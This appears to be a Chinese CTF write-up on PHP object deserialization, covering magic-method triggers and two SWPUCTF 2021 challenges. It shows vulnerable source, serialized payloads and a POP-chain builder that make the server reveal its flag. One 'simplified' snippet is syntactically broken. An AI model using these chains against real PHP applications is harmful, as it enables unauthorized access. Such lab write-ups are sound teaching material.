php反序列化
前置知识
各种魔术方法的触发条件:
__construct 当一个对象创建时被调用,
__destruct 当一个对象销毁时被调用,当对象创建完成结束后会调用
__toString 当一个对象被当作一个字符串被调用。
__wakeup() 使用unserialize时触发
__sleep() 使用serialize时触发
__destruct() 对象被销毁时触发
__call() 对不存在的方法或者不可访问的方法进行调用就自动调用
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 把类当作字符串使用时触发,返回值需要为字符串
__invoke() 当脚本尝试将对象调用为函数时触发
题目:
[SWPUCTF 2021 新生赛]ez_unserialize:
查看源代码发现有个Disallow,猜一下是不是防止爬虫的,访问一下robots.txt
有个cl45s.php,访问一下看看
找到了代码,直接开始审计php代码
<?php
error_reporting(0);
show_source("cl45s.php");
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}
$p = $_GET['p'];
unserialize($p);
?>
代码的意思是只有当admin==="admin",pass==="ctf"
时才会触发flag,那么我们就去构造一下
<?php
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="admin";
$this->passwd = "ctf";
}
}
$a=new wllm();
echo urlencode(serialize($a));
?>
序列化出来的内容:
O%3A4%3A%22wllm%22%3A2%3A%7Bs%3A5%3A%22admin%22%3Bs%3A5%3A%22admin%22%3Bs%3A6%3A%22passwd%22%3Bs%3A3%3A%22ctf%22%3B%7D
//O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
保险起见urlencode一下,如果有private,protected的属性的话不urlencode会漏掉一些内容
get传参,获得flag
其实写这么一段就行,因为序列化的内容只有这些属性,那些方法不会跟着序列化
<?php
class wllm{
public $admin="admin";
public $passwd= "ctf";
$a=new wllm();
echo serialize($a);
?>
[SWPUCTF 2021 新生赛]pop
<?php
error_reporting(0);
show_source("index.php");
class w44m{
private $admin = 'aaa';
protected $passwd = '123456';
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$w00m = $_GET['w00m'];
unserialize($w00m);
?>
题目出来就直接是源码
最终要执行的肯定是Getflag()函数,所以就从后往前推,看看哪里可以调用方法,发现w33m类中的toString()方法可以调用函数,这里的话肯定是要让w33m类里$w00m为w44m对象,$w22m为Getflag字符串,然后再看要怎么触发toString,当这个对象被当字符串输出时会调用,也就是在w22m类里会被调用,所以要让w22m类的w00m为w33m对象。
整理一下就是
- 创建w22m对象 其中$w00m字段为w33m对象
- 创建w33m对象 令其中$w00m为w44m对象 $w22m为Getflag字符串
- 创建w44m对象 令其中$admin = ‘w44m’;$passwd = ‘08067’
构造pop链就是下面这样
<?php
class w44m{
private $admin ='w44m';
protected $passwd = '08067';
}
class w22m{
public $w00m;
}
class w33m{
public $w00m;
public $w22m;
}
$a=new w22m();
$b=new w33m();
$c=new w44m();
$a->w00m=$b;
$b->w00m=$c;
$b->w22m='Getflag';
echo urlencode(serialize($a));
?>
传参获得flag